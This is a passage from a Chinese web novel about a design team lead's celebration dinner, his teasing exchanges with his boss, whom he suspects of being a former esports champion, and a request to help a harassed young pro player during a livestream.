江勘的声音在驾驶座响起。 “组长,到了,咱们下车吧。” “……哦。”郁思白梦游似的抬头,一拉车门, 吸了吸鼻子, 眉头一皱。 空气里漂浮着香水的气味, 不是公司地下车库的味道。 有一瞬间,他怀疑就这么一下车的功夫,就穿越到了奇怪的世界。 郁思白手搭在车门上,有点机械地迟疑道:“这是哪儿?” 江勘反手关上车门, 举起车钥匙准备锁车,闻言又疑惑又带着笑道:“吃饭的地方啊。” 他说:“刚刚问组长,说要不咱不回去了,直接去吃饭……你点头了。” “其他人呢?”郁思白问。江勘出门是带了一大串尾巴的。 江勘声音不大,温温柔柔地说:“他们打车过来呀,出租司机开的飞快,他们可不想坐我的老爷车……” 郁思白接着:“那打卡呢?” 江勘就笑:“哈哈,咱都把老板请来了,还说什么打卡的事儿。孟越姐全都已经摆平啦……刚刚路上不是说过了吗?” 郁思白张张嘴,也不好说自己刚刚在走神,刚刚那状态,就是江勘给他拐了他都得给数钱。 于是他闭嘴下车,地下车库的潮味儿混合着香水扑面而来,古怪得让他顿时打了一个巨大的喷嚏。郁思白决定将这种味道命名为“Execut2季闻则混合气味”。 一样的古怪。 江勘吓了一跳:“是不是我车里空调温度开太低了组长?” 郁思白捂着鼻子摇头,他只是对气味有点敏感。 上午还是和煦的晚春天气,中午开始,老天爷就陡地变了脸,瞬间暴热到三十多度。郁思白穿着风衣出去,回来已经把衬衫袖子挽到了手肘上面,拎风衣像拎尸体。 空调救命,何错之有。 “走……”他瓮声瓮气地说,然后熟练地从口袋里摸出一只新口罩。 看着郁思白戴上黑口罩,江勘愣了愣,忽然笑说:“组长,你这样好像明星啊,戴个帽子就更像了。” 郁思白在口罩下附和着呵笑了一下,大脑本就因为乱七八糟的思绪而胀痛,被气味一激,更是一团混沌,开口一道气声,半死不活。 江勘锁好车,两人往电梯厅走去,江勘环顾四周,看到的车价格都不便宜,心里不由瑟瑟。 虽然掏钱的是郁思白,但定地方的自然不是他,是高向日。 有一件事并非众所周知,不过大家也多少猜得出来——从不参加同事聚会的郁组长,大概率是个死宅。 就是不知道宅在家里是做什么了。 总之出来吃饭的事,大家默认他不懂。 “老高还挺会定地方的。”江勘说完,迟疑了一下,侧头放低声音问,“组长你……没关系吗?” 郁思白疑惑:“什么。” 江勘顿时一脸苦恼,张着嘴半天憋不出话。 郁思白眉眼压低:“说。” “就……”江勘把声音压得更小,有点着急,又实在关切道,“组长你钱包,没关系吗?” 郁思白原本有点想笑,但是抬头看见同事蹙着眉的温和目光,口罩下的笑意也敛了下来。 刚来庭季那年,“郁组长缺钱”很快就成了全公司的共识。 因为缺钱,所以他的工位几乎天天都是亮到十一二点的。 因为缺钱,所以哪怕凌晨,在内部软件找郁组长,也是永远都能找到的。 因为缺钱,所以钱远新那些正常人都忍不了的臭脾气烂习惯,郁组长都是可以一言不发的。 这种情况直到他来第二年,才好了一些。 现在一组的人马完全组建成型,【庭季室内设计一组】在业内也已经有了一定的名声,工作仍然络绎不绝,但至少他们有了选择空间,单价提高,赚的盆满钵满不说,郁组长本人,也有了和钱远新叫板的底气。 那时候每个月都有人说,郁组长是不是也该赚够钱了,但新的一个月,郁思白永远还是加班时间最长,业绩甩二组几条大街的那个。 他好像还是缺钱。 郁思白不知道,一组众人也私下凑在一起商量过,要不要问问组长,到底是什么事,他们能不能帮忙。 最后总归是没成事儿。 但即使不知道这些,郁思白也看得出他们的关心,抿了下唇,认真道。 “已经没事了。” 江勘眨了眨眼,也不多问。组长说,他就信。 “那先谢谢组长请我们吃大餐了。”他说。 郁思白:“应该的。” 忽然,侧前方一辆看起来就很敦实、价格不菲的黑车亮了亮灯,紧接着,驾驶座下来一个穿着休闲风衣的高大男人,身材很顶,带着墨镜遮住眼睛,却更显得那张脸线条凌厉帅气。 “哇,组长,又一个像明星的。”江勘道。 郁思白被气味熏得眼睛不大舒服,眯着眼看过去。 然后那个“明星”单手摘了墨镜,扭头不经意看向他们,目光一顿,眉眼就染上狐狸似的笑意。 …… 过敏源之一。 “季总!”江勘惊讶,笑着打招呼,“这么巧。” 郁思白半句话都不想说,抬手挥了挥当做打招呼,放下的时候,拐了个弯又蹭了下眼睛,把口罩又往上拉了一厘米,几乎遮到眼下。 口罩边缘之上,一双眼睛又忍不住在季闻则身上扫过。 半天不见,此人的ootd已经又换了一套……而且他不热吗。 季闻则朝他们颔首示意,食指在唇上碰了一下,侧过身,才看见他半边耳廓挂着蓝牙耳机,显然是在打电话。 见状,江勘顿时有些无措。接着开口也不是,什么都不说好像又不礼貌。 郁思白拍拍他胳膊示意他让开些,然后对季闻则指了指电梯间,又挥手告别。 季闻则唇角扬起笑意,点头示意自己知道了。 于是郁思白带着江勘走得头也不回,半点客套都没有。 电梯门在面前关上,郁思白才发现,江勘一直在用很神奇的目光看自己,像修仙世界的人,看见什么极品法器。 “怎么了。”郁思白问,有点警觉。 江勘:“组长……你什么时候去进修了职场相处学?” 郁思白疑惑。 “你刚刚那两个手势,不卑不亢,清晰明了,不失礼节——” “有吗。”郁思白开口,声音还有点瓮,被他本就冷淡的语气说出来,更显得冷酷。 “我意思是说,我们走了,拜拜了您。” 江勘脸上的笑容就这么凝固了。 郁思白看了眼,知道他是个软包子性格,甚至有时候有点迷糊,想了想,直接给人摆明了说:“季闻则不是什么洪水猛兽,他和钱远新不一样。” 闻言,江勘呼出一口气,不太好意思地无奈笑了声:“是,我也有看出来。季总和您说话状态很随意。” “他就是这样的。”郁思白说,丝毫没听出江勘的言外之意。 你不在的时候,他好像不是这样啊,组长。 江勘摇摇头,问:“组长你敢去财务这么说吗?” 财务、人事,这是季闻则空降过后,被大刀阔斧砍得最厉害的两个部门,当然,也是原先钱远新一系盘踞最深的地方。 郁思白从不问这些,虽然问了也没用,其他人心知肚明,就是知道,也只是被针对得更明白一点而已。 听江勘这么说,郁思白微微挑起半边眉头,随意道:“不关我的事。” 江勘一愣,旋即弯起眼睛笑了。 “组长说的对。”他看向前方,就连目光都明亮了些许。 “不管其他部门如何,季总确实很重视咱们。” 郁思白看他,鼻腔里“嗯?”了一声。 “何以见得?” 江勘噗地笑出来,难得说点不正经的话。 “来参加庆功宴,跟我和女朋友约会似的,恨不得把衣柜里的帅衣服全穿一遍。”顿了顿,他又补充:“而且穿得很骚包。” 郁思白被他这个形容说得一卡,先是觉得,这词和停车场古怪的味道有一拼,紧接着,头顶灯泡嗡的一声,亮了。 上午他觉得人更狐狸了,但具体形容词半天都没想到。 原来是骚包! 这两个词,突然让他心情大好。 Execut2?骚包? 哈哈,怎么看都联系不起来的两个词嘛! 郁思白松了口气,觉得自己真是忙糊涂了,心情一好,嘴上一秃噜就冒出一句。 “我以前私下叫他季没品。” 江勘瞪大眼睛,听见组长接着说:“以后可以叫季骚……” 电梯门忽然在两人眼前缓缓打开,可门外的,不是装修格调的餐厅。 而是熟悉的,一成不变的地下停车场。 两人顿时哑声,像机器人卡壳一样。 “你没按电梯吗江勘。”郁思白目光呆滞看向前方问。 江勘低头试图垂泪,没垂出来,如丧考妣道:“我忘了。” 电梯外,笑眯眯看着他们的墨镜帅哥微一勾唇。 “没事,我给你们按啊。” 季闻则一脚踏进电梯,两个人纷纷后退半步,看得季闻则笑意更深,抬手按了关门键。 “几楼?” “……”江勘没说话。 “……8楼。”郁思白细若蚊呐。 他突然很想念高向日,如果一组最大的向日葵在,说话的肯定就不是自己了。 电梯终于传来一阵上升感,两三秒后,郁思白和江勘才发现,这竟然是一部观景电梯。 更像在走天堂路了。郁思白想。 “你声音怎么了,感冒了?”季闻则问。 他选择了这个话题,似乎并没有听到郁思白的外号大计。 郁思白早对这人没什么心防了,立刻松了口气道:“停车场味道有点冲。” “这个商场会用香水兑水拖地。”季闻则说,接着随意问,“刚刚聊什么呢?说我吗?季——” 郁思白:…… 靠。 大脑飞速旋转,他立刻接话,机器人似的一板一眼道:“骚人,迁客骚人的‘骚人’。” 江勘:…… 救命,生死关头他突然好想笑。 季闻则也是一时间沉默,半晌忍笑评价。 “嗯,比季没品好听。” 郁思白眼前一黑又一黑:“……你全听到了?” “没听清前半句,但你之前不是在直——”季闻则及时收住,想了一下,改口。 “……在职场之外的地方说过么。” 江勘本来还算清明的目光,忽然渐渐困惑起来。 职场之外的地方? 好奇怪的形容。 怪暧昧的。 而且你俩说话都说一半就拐个弯,什么意思呢。 心里这样想着,江勘目光下意识向郁思白看齐,见组长也是一副欲言又止的样子,心里便道,果然组长也是这么想的! 下一秒,他就听见组长“啧”了一声,忍无可忍道。 “季闻则你又死灰复燃了吗。” 江勘:…… 江勘:??!! 啊啊啊组长?别骂!你刚刚还说他跟钱远新不一样——! 可他是软包子,连冲上去捂住组长的嘴都不敢。 于是,江勘开始思考能不能一个手刀把老板打失忆。 “我不是那个意思。”季闻则轻咳一声,站直了些,“我刚是真忘了……不是故意要说。” 他以为郁思白骂的是抖出马甲的事,立刻解释。 “不是这个。”郁思白却道,“前面那句。” 季闻则迟疑一下:“郁大人……明示?” “要问问题就大大方方的问,绕一圈突然突击我是什么意思……”郁思白一咬牙,嘟囔,“让我想起很坏的记忆!” 刚认识季闻则时,被人逗得一愣一愣的记忆。 他明说了,季闻则才恍然,旋即眉眼一耷,抿起一个笑。 “我的问题……平时这么躲藏着,习惯了。” 他认错态度颇好,郁思白便点头,直言:“你要是大大方方问,我也大大方方回你。” 季闻则笑:“好,那你们刚刚在聊什么?” 郁思白大大方方:“说你是季骚包。” 电梯缓缓停下,失重感不强,江勘却眼前一黑。 …… 组长!!不要在这种时候大方啊! 季骚包勾唇:“还是比没品好听。” 江勘好了。 江勘明悟了。 组长从不打诳语,原来在他这里,季总真的不是洪水猛兽。 于是他彻底闭麦了,走在前面跟服务员报了郁思白电话后四位,在服务员的带领下,给两位大大方方的人带路。 “这是你第一次参加自己的庆功宴吧。”季闻则接着大大方方。 郁思白:“你怎么知道?” “郁组长的习性,公司里谁不知道。”季闻则笑。 “……习性。”郁思白一翻眼睛,“我是什么动物吗。” “濒危保护动物。”季闻则说。 “那你小心了季总。”郁思白道,“把你告到警局你就是十年起步。” 并非啊并非。 走在前面的江勘想。 组长你也高低有一个包庇纵容罪。 …… 三人走到包厢前,江勘加快脚步走进去,然后站在里面转身看向两人:“季总,组长,这边。” 郁思白忙着跟季闻则斗嘴,没多想,就迈步走了进去。 “砰!” 耳边猛地炸响,郁思白吓得一抖,下意识往后退了半步,撞到一堵温热的墙,季闻则抬手扶了一下他的肩膀。 下一秒,欢呼声响起。 “恭喜没想好独立设计团队,第一次项目宣讲,圆满完成!” 郁思白愣住了。 他参加过两次ICG的庆功宴,第一次是ICG成功获得固定席位,第二次就是前段时间获得联赛冠军。 可在庆功宴里,他始终是欢呼喝彩的人之一。 这是他第一次站在门口,被纷纷扬扬的纸礼花落了满头。 这些反着光的漂亮纸片很轻,压在他肩头,却又有扎实的重量。 半晌,他才回神,下意识笑了一下。旋即又想起来摘掉口罩,脸上浅淡的笑意,难得没有半点冷感。 “……谢谢。”他说。 于是他又在一众人的簇拥下,被和季闻则一起,栽到了圆桌最里面的位置。 高向日向来都担任活跃气氛的那个,此刻胳膊一挥说:“季总,组长。说好了今天都是战友,咱谁也别招呼谁,都随意啊!” 二人点头。 “喝一点啤的?”高向日说着,看向其他几人。 武天骄头一个举手,几人凑在一起讨论要点什么。 “组长,你喝什么?”江勘看了眼菜单问,“果茶还是碳酸饮料。” “果茶。”郁思白道。 季闻则也说:“一样。” 两人对视一眼,都在彼此眼里发现了诧异。 “我还以为你会喝一杯。”季闻则先说。 郁思白摇头:“不合适。” 季闻则闻言轻笑:“怎么了,偶像包袱?” “我沾了酒之后管不住嘴,跟他们在一块……不合适。”郁思白瞥他,眼里像在说,你应该清楚吧。 季闻则眉头微微挑了一下,移开视线。 “我也以为你会喝。”郁思白说。 季闻则一哂:“吃完太晚,还要叫司机开车,麻烦。” “你很介意不认识的人开车载你?”郁思白问出了这个之前就好奇的问题。 意料之外的,季闻则也没瞒着,直白道:“嗯,以前出过一个小车祸。” 季闻则目光落在酒上,郁思白看了两秒,抿唇,说:“那我送你回去?” “?” 季闻则愣了一下,回头。 郁思白认真道:“你喝吧,喝完我送你回去。” 季闻则看了他半晌,忽然轻笑:“郁组长今天这是灌我来了?” 郁思白顿时嘴角往下一撇,冷脸道:“谁说要灌你了。” 他说:“就是感觉你好像还挺喜欢喝的?今天开心,喝点就喝点。” 季闻则侧头,手背抵着下颌,学着他的语气问:“谁说我喜欢喝了?” 他语气学得实在很像,像得让郁思白多少有点恼火,抿着唇盯人。 “看你之前饭局跟那些老板总裁觥筹交错的,也挺开心。” “不喝怎么办?”季闻则失笑,“年级长的辈分高的都喝了,我还能端个架子不成?” 他随口玩笑似的说完,却觉得郁思白表情变了变,可没等他细看,对方已经扭头看向刚端上来的凉菜,可目光似乎又有点飘忽。 然后垂下眼睛,牙齿重重咬了一下唇瓣。 季闻则微微眯眼。 郁思白咬完自己,又实在下嘴有点重,连忙轻轻抿了抿。痛意驱赶走方才莫名浮现在脑海里的事。 Execut2还当职业选手的时候,被很多人骂过架子大,恃才傲物这个词仿佛就是为他量身定制,冷脸的中二少年只要往那一站,“Execut2又在端架子”之类的话就像蟑螂一样冒出来了。 这个画面很正常,但旋即,他脑海里闪过一个念头。 现在呢? 这个议题似乎突然危险起来,于是被郁思白强行驱逐。 紧接着,他才嗅到桂花的清香。 “啊,这是谁点的?”有人说。 杨孟越道:“桂花凉糕,我点的。”说罢,她看向郁思白,两人交换了一个眼神。 郁思白拾起公筷,幅度不太大地弯了弯眼睛。 筷子伸到一半,他忽然顿了顿,感觉到全桌人的目光都陡然看向自己。 郁思白:? 哦。 他恍然,扭头看向季闻则,问:“季总,我吃了?” 不知道哪里又传来到抽凉气的声音。 季闻则恍若未闻,笑说:“你以前也没问过我啊。” 郁思白点头:“也是。”说罢,他夹了块凉糕进嘴,清香微甜的味道包裹味蕾。 场面上忽然就安静了,郁思白低头吃糕,季闻则含笑垂眸,不知道是谁没发现,又是谁故意一言不发。 “呃……啊,诶呀!好安静呀哈哈哈,放首歌吧?”有人提议。 “好好!我申请放这首!!”小穆说着,报了个英文名。 “这首是无畏契约的冠军赛主题曲,我个人觉得最好听的一首!也是咱们赛区前几年拿下全华班冠军那年的曲子。” 一阵劲爆的鼓点,正气凛然地冲散了古怪的气氛。 高向日摇头晃脑:“好听啊,还有别的没?” “我也找找。”江勘配合道。 哪怕一会儿吃饭的时候,bgm也千万不能停啊。 “别的……”小穆在歌单里翻找。 “ticking away。”郁思白突然说,“这首也不错。” “哦对!我刚刚也在找这个来着。这个是S2的冠军曲,那年冠军是……是谁来着?” 小穆不好意思地摸摸后脑勺,“这首年代太久远了……名字确实印象不深,但确实很好听!” 突然他意识到是谁在说话,悚然道:“组长,你怎么知道?” 郁思白吃糕:“查资料看到的。” 冠军是Execut2。他在心里补充。 音乐开始充斥整个包厢,一组很有几个喜欢跳舞的,沾了点酒,又带着和组长一脉相承的“不把老板放眼里”的架势,已经离开座位开始即兴了。 众人欢呼,郁思白就在这片喧闹里,状似不经意地侧头,看向季闻则。 季闻则脸上仍旧挂着淡笑,垂着眼睛偶尔吃两口菜,似乎一点都没被这首曲子挑动起情绪。 乍看上去,似乎完全没有什么异样。 郁思白眯了眯眼—— 作者有话说:福尔摩斯郁组长,以及 同时扮演华生和莫里亚蒂的季老板 [猫爪] 40-50 第41章 圆桌对面, 小穆在其他前辈们的好奇下,打开百度百科,科普了几句S2冠军的事, 提到Execut2的时候多说了几句,整体却也只算是一笔带过。 郁思白从没有觉得这首歌这么长过。 他时不时就偷偷看一眼季闻则, 可从开始到结束, 三分二十五秒,季闻则真的一直挂着淡笑,偶尔抬眼看看科普的小穆,听得认真,实在没有半点异样。 可不知道是不是心理原因,郁思白始终觉得有什么不对, 眉头拧了拧,突然开口。 “季老板。” 他声音没有放的太轻, 是足够两个人彼此听到的音量。 但季闻则像没听到似的。 郁思白眼睛陡然睁大, 抓到这一瞬间的漏洞,以同样的音量又喊了一声。 “季老板?” 如同他所期待的, 季闻则仍然毫无反应。 郁思白攥着筷子的手加重了力道,心里提起一口气,目光闪动。 没有反应,就是最大的反应! 季闻则这种人, 什么时候走神过? 郁思白试图在脑海里推演下一步该做点什么, 可兴奋、好奇和对不确定性的犹豫, 交织成复杂的情绪,让他慢了半拍又半拍。 忽然,季闻则似乎感受到他灼热的目光,侧头, 在郁思白毫无防备的时候,和他四目相对。 “怎么了?”他问,然后轻笑了一声说,“你刚刚是不是叫我。” 郁思白一愣。 他……就这么坦坦荡荡地承认了走神的事儿? 抿了下唇,郁思白稳住自己,直接问:“你在想什么?” 季闻则看着他的眼睛,包厢灯光一映,偏浅的瞳色此时明亮得像落着两轮月亮,莹莹的,仿佛想要看透一切。 他看了两秒,忽然莞尔。 “在想,二组现在的情况,让谁来接任组长比较好?” 那双眼睛先像一池被搅浑的水,呆了呆,然后又眨了两下,两轮明月落进漩涡里,晕晕乎乎地暗了下来。 “……你在想工作?”静了片刻,郁思白缓缓问。 季闻则笑着点头:“不然呢?” 话音落后,郁思白慢慢往椅背上一靠,闭上眼睛,不知道是睡了还是死了。 郁思白觉得自己是有点死了。 季闻则的声音又响起,认真地谈着工作:“郁组长,你比较看好谁?” “这是另外的价钱。”郁思白睁眼,倦道,“我只是一组组长,不当总监。” 显然,在这件事上也已经警觉到极点了。 季闻则一怔,旋即失笑:“这次真的没这个意思。” 但没办法,他也只能为两个多月之前自己的行为买单。 于是他重新措辞:“在这件事上,我可能需要一些你的建议。” 听他这么说,郁思白坐正了点:“既然你诚心诚意地发问了,那我就大发慈悲地想想。” 他咬着吸管喝了口果茶,又在松嘴前,悄悄用牙齿把扁吸管重新推圆,勉强体面地放下饮料。 “二组组内的话,矮子里面拔高个,那个姑娘吧。”郁思白想了半天,也没想起对方的名字,只能说,“就是常加班的那个,她很认真负责。” “能力呢?”季闻则问。 “唔,能跟钱翀打擂台。所以之前也过的不怎么好。”郁思白说。 但平心而论,钱翀也不是什么很厉害的水平。 季闻则心里清楚,否定道:“但这样,二组只会走下坡路。” 郁思白耸肩:“你也可以像钱远新一样,接着给二组塞项目。” 季闻则笃笃敲了两下桌面,立刻严肃道:“不要骂我。” “……噗。”郁思白没忍住笑出声,又嘬了一口饮料,正色问,“那你想怎么办?” 季闻则说:“其实一开始,我属意从你们组调个人过去的。” 郁思白:? 他嘴角一抽:“你已经走投无路到这个地步了吗?跟我抢人?” “倒也不是故意要这样。”季闻则笑,“如果二组组长是你手下出去的,至少哪怕以后我的位置换了个人来坐,也不会再有人跟你打擂台。” 郁思白一怔,下意识问:“你很快要走?” 季闻则道:“怎么可能……提前铺路而已,而且你们组的人有这个能力,我就想着,别埋没了。” 郁思白张了张嘴,却一时间不知道该说些什么。 他真的有点排斥这种事。 一二组之间没有竞争关系是绝对不可能的,就算是组长之间没有,组员也都各有心思。 如果两个组相争起来,郁思白不想看到这种画面;但如果二组组长一定要什么都落在一组后面,他又根本没法带好这个组,最后只会落得个被组员排斥的下场。 可就像季闻则说的,未来一组的安稳是一方面,组员的晋升意愿也是很重要的一方面。 他们确实都不愿意代替自己当一组的组长,但如果能去管个二组,也是能再成长一些,独当一面了。这样想想,确实也挺好的。 再说了,指不定季闻则走后,自己也早就赚够,跟着辞职当主播了呢。 这样想着,郁思白也觉得这是个很不错的方案,点头道:“确实可以,你看中谁?” 但季闻则叹了口气,噙着无奈的笑意摇头:“但私下我找了几个人,聊过之后,他们都拒绝了,一点都没带犹豫,说要在一组呆一辈子。” 郁思白愣了一下,心里涌起一股暖流,抿抿唇,指尖捻了捻筷子,夹起排骨又放下,多动症了一番,最后还是故作不经意地问:“他们怎么说的啊?” 季闻则清清嗓子。 “很严肃地说‘我不是傻子,从天朝上国大将军发配到弹丸之地当土皇帝干嘛’。”他压低嗓音装得瓮声瓮气。 “说郁组长是她的贵人,没有要自立门户的能力和想法” “唔,还有直接捂心口说离了你就会心脏病发的……” 郁思白忍不住打断:“你编的吧。江勘才不会这么说。” 季闻则:“意会。” “……告你造谣啊。”虽然这么说,但郁思白嘴角还是压不住地上挑,人也随着音乐偷偷扭动两下。 被这样的一群人包围,怎么可能不开心呢。 季闻则看了他一眼,轻笑,让他开心了一会儿,刚准备接着问,就听高向日嘿嘿两声,道。 “季总,组长,你俩要是现在不聊天,要不咱一块玩游戏呗?” 完全就是见缝插针,显然已经盯这边很久了。 郁思白此刻正乐着,闻言便看过去,显然,比起和季闻则说话,他对这个更有兴趣。 “玩什么?”季闻则笑容和煦地问。 高向日:“国王游戏!” 郁思白瞬间变脸——虽然以他的面瘫程度,变不变的,也很少有人看得出来。 他原本是这样想的,可他清清楚楚听见了季闻则噗哧笑了一声! 郁思白暗暗咬牙,一瞥眼睛看过去。 这个世界就跟国王游戏过不去了是吗,都什么年代了,还玩这些落伍的酒桌游戏! 他侧头看向坐在自己旁边的江勘,问:“咱们组平时聚餐就玩这个?” 江勘温温柔柔笑了一下,摇头:“一般玩室内设计海龟汤,自己出题。今天……”他目光在季闻则身上落了一下,一切尽在不言中。 原来是怕孤立季总。 “我就不了,你们玩。”郁思白说,“我给你们主持吧。” 众人也没有失望,组长愿意主持已经是出乎意料了,他们很是满意。 “季总来吗?”杨孟越问。 季闻则轻笑:“好,来啊。” 他笑容似乎比往常更灿烂些,让郁思白多看了他两眼。 警觉地。 很快,郁思白就发现他的担心有些多余。 有季闻则这个老板加入的国王游戏,众人就连提惩罚都提得很是克制。 什么唱个歌,跳个舞,帮着写一次周报——然后想起周报已经被老板取消了,又是一阵真假掺半的欢呼。 郁思白洗了几轮牌,便发现这不是季闻则能搅动风云的地方,自己也有点蠢蠢欲动想参加。 他这么想着,又是一轮牌发下去。牌被搁在桌上转了一圈,每个人都拿到后,各自翻开。 “啊。” 身边一声轻笑,季闻则摊开自己的牌。 大王。 郁思白脑内顿时警铃大作,无比庆幸自己没有上把就急匆匆加入,无声松了口气,往后靠到椅背上,嘬完了最后一口饮料。 季闻则看了他一眼,眼底的笑意似乎在说【你高兴的有点早】,旋即移开视线,想了一下道。 “一定要惩罚吗?”他问。 众人自然是说不一定。 “季老板你随便说!”有人道。 这饭过半,反正也不是正式场合,渐渐的,大家都开始随着郁思白,叫起不那么板正的“季老板”。 季闻则点头,拿出手机点了两下,抬头先随便点了三张牌面。 高向日、小穆和另一个同事的脸色顿时一紧。 然后就听见季闻则道:“每个人一千块红包。” 高向日:……? 小穆:“卧槽。” 幸运同事更是直接一个窜天猴似的站起来:“季总!唯您马首是瞻!” 郁思白目光一瞥,轻咳一声。 幸运同事立刻咧着嘴笑:“没事的组长,季总尊重您啊!听季总的,不就是唯您马首是瞻吗?” ……啊?郁思白眉头动了动,总觉得这话哪里不对。但又说不上来。 好像事实确实如此,但如此事实,本身就不是很对的样子…… 高向日问:“现、现在当场发吗季老板?” 其余刚刚没被叫到牌号的人,表情从松一口气,顿时变成了羡慕嫉妒。 “不急。”季闻则笑了一下,又点了三个。 “每人三千。” 这下被点到的是江勘、杨孟越和另一个一组老人,三个向来安静沉稳的人彼此交换视线,开心地谢了老板。 “剩下的……”季闻则忽然顿了一下,笑问,“每个人都‘惩罚’是不是不太好?” “好的好的!” “罚我吧季总!” “千万不要心慈手软——” “组长,组长你说句话啊~” 季闻则也弯着眉眼看过来:“郁组长,你说发多少?” 郁思白正因为钱袋子高悬独不照我而痛苦,这会儿被突然点名,邪恶小心思骤起,开口乱讲。 “一万。” 众人一惊。 “那剩下的人平分一万吧。”季闻则没驳他的话,幽幽叹了一声,“郁组长,对我好一点啊……” 一句话说的如怨如慕,那股狐狸劲儿像藤蔓一样爬上郁思白后颈,激得他一个哆嗦。 郁思白一拍桌子,正气凌然道:“发钱。” 季闻则笑得呛了一下:“遵旨。” 一组众人排队领钱。即使是瓜分一万的那帮人,每个也拿到了一千左右。 整个包厢弥漫着愉快的氛围。 等所有人都坐回位置上,有人在宝贝似的端详自己的余额,有人跟旁边同事嘿嘿傻笑,有人环顾四周,目光落在一脸死气的郁思白身上。 此人悚然。 “呃……”他犹豫了一下,大胆开麦,“我们的裁判大人,没、没有吗?” 场面顿时一静,如果目光有形,郁思白觉得自己身上,肯定齐刷刷落了厚重的七八层大棉被。 郁思白淡淡,世外高人状:“没关系,我不用。” 心里却流泪,脑海里具现出季闻则的小布人,银针照着屁股就是一扎! 他看了季闻则一眼,对方还是和煦的笑,带着点疑惑和他对视。 郁思白扭头,暗自握拳。 别人看不出来,你季闻则还看不出来? 小布人屁股上又添一针。 一组众人互相看看,目光交换了几句消息,彼此重重点头。 小穆被一众前辈推着开口,仗着年纪最小,撒娇卖痴道:“不行!组长,你可以不要季总的钱,但是你得接受我们的供奉!” “就是就是。”有人立刻附和,“我入股10%!” “我也入股!” “都来都来,10%!” “我没组长微信啊可恶,谁帮我入股,我转他!” …… 叮咚,叮咚叮咚—— 郁思白放在桌上的手机接连不断地响了起来,他凑过去,屏幕自动亮起,上面赫然是高向日几人的转账消息,每个人都有好几笔,充当着整个一组的入股桥梁。 郁思白极缓慢地眨了下眼,看着还在叮咚作响的手机,忽然有些无所适从。 他看看手机,又看看众向日葵,那张向来冷淡的脸上,难得浮现出明显的懵然。 原本入股的向日葵众,还担心会不会弄巧成拙,现在见他这个反应,也纷纷笑了起来。 “拿着呀组长。”有人催。 “季老板不关心你我们关心!”不知谁在喊号子一样,偷偷拉踩道,“自己的组长自己养!” “组长收了吧,别过意不去,就当我们给你的压岁钱。” 硬要说的话,也有道理,毕竟在小穆没来之前,郁思白虽然是组长,但实打实是年纪最小的那个。 “快收吧。”旁边,季闻则也轻笑说,“你要是觉得拿着烫手,也可以收了以后转给我,就当替他们交个税……” “想得美。”郁思白立刻行动起来。 他嘴上凶巴巴,心里却像只被丢进羊汤里泡软的白吉饼,蓬松温热。 老板就像老公一样靠不住,还是自己养大的向日葵们善良又关怀…… 他抿着唇说了谢谢,然后低头点开微信,按照顺序一个个收了红包,准备用来结今晚的账。 突然,他目光一顿。 聊天框最下面,被一群转账淹没着的,还有一条来自季闻则的消息。因为时间最早,反而被压在了最下面。 点开,是一条转账,数额比拿的最多的向日葵还多,备注写着。 【贿赂裁判大人^-^】 郁思白指尖忽然僵住,没点下去。 ……散财童子吗你。 可下一秒,又一个念头无孔不入地冒出来。 上一个散财童子,还是Execut2。 有的念头不有则已,一但冒出过,就像风滚草一样肆意奔腾,怎么都驱逐不掉。 他装作镇定地抬头,招呼大家继续下一轮。 有了这么一次钱袋子高悬普照众生后,包厢里活泛的气氛就没沉下来过,郁思白也加入玩了两轮,都平平无奇地重在参与。 手机忽然又响了一下,郁思白第一反应就是看向季闻则,以为是他偷偷问自己为什么没收受贿赂。 一眼过去,发现对方果然拿着手机在打字,便装作没听到,不予理会。 可消息声一条接着一条,季闻则打字的手也没停过,郁思白一抿唇,侧身过去,严肃地小声说:“别给我发消息了。” “嗯?”季闻则抬头,先是一愣,旋即笑了声,大大方方把手机侧过来给他看。 上面哪里是他的聊天框,赫然是一个不认识的x总,满屏都是郁思白看了就眼晕的话。 郁思白:…… 要不刚刚收的向日葵股份,用来给自己购置一口棺材,我现在就躺进去重开吧。 季闻则看他一眼,也低声笑问:“我给你发消息干什么?” 郁思白板着脸,强压羞愧说:“我没收你的贿赂。” 季闻则就说:“那我不是省钱了么?” 目光一转,郁思白点开手机啪地收了,道:“该花就花。” 收了钱,他退出来才看到那一串消息的来源。 很意外,急匆匆的人是薛简。 【res啊啊啊急急急!江湖救急!】 【你今天晚上有空开播吗?】 【res啊——你在哪里QAQ你的ICG需要你!】 【我给谁打电话能找到你啊,你是不是又跟季闻则那厮在一起呢,再等三分钟不然我要给他打电话了啊啊啊】 …… 看得出是真急。郁思白有点心虚,连忙回复。 【在,怎么了?】 【现在在外面吃饭,晚上回去可以播】 【出什么事了吗。】 事儿估计不小,小事直接由ICG和他对接的那个运营兼房管来说就行,现在却是薛简亲自来找他。 在签ICG的时候,郁思白就做好了这种随时救急的心理准备。 这一个来月,也不知道是季闻则打了招呼,还是薛简主动问过,大概是知道他最近忙,所以连给队里周边带货都没给他派活,郁思白心里还有点过意不去。 对面回的很快,显然在等消息。 【薛简:啊啊啊!!!】 【薛简:太好了你回我了,我真不想给jwz打电话/捏鼻子】 已经嫌弃得连缩写都用上了。 【Respit2:你说】 【薛简:是这样的……咱冠军赛不是没打好吗最后,kulu被针对成那样,战绩也不好看,你知道的。小孩本来就第一年打世界赛,心态调整上比较困难,一下场打开手机,到处都是铺天盖地的骂他……】 这事儿郁思白知道,或者说,他就是不看,也完全猜得到。 国内电竞环境就这个破样子,打得好就捧你成神,骨头都抽了也要跪地膜拜;打不好的时候就立刻翻脸,正着骂、串着骂、做视频骂、去微博虎扑骂……网络世界很大,大到可以一眼看尽世间要闻,却也实在太小,一个声音就能淹没整个世界。 叹了口气,郁思白问。 【他今晚直播是吗?】 【薛简:对/流泪,弹幕那些人真骂起来,我怕他撑不住。】 【薛简:所以想着能不能叫你跟他一块儿播……带带他,也跟他说说话,让他分点儿心。队里其他人,我怕凑一块儿反而点了火药桶,被串子一挑火,就真的收不住了。】 【薛简:他一向听你的话。虽然他不让我们往外说,但其实他在后台哭了,说对不起你那么多个晚上帮他复盘分析。】 【Respit2:我知道了。他几点播?】 【薛简:感恩的心.jpg】 【薛简:9点,行吗?】 郁思白看了眼时间,还不到八点,于是答应下来。 【Respit2:可以的。你跟梁路说别急着开,一会儿我路上先给他打个电话,聊聊。】 薛简立刻欢天喜地地走了。 郁思白放下手机,上一轮的倒霉蛋刚做完惩罚,大家乐成一片,正要发牌,转到他面前的时候,郁思白摆了下手说。 “家里有点事,我得先走了。” 众人皆是一愣,郁思白正要起身,却被季闻则拉了一下。 “怎么了?” 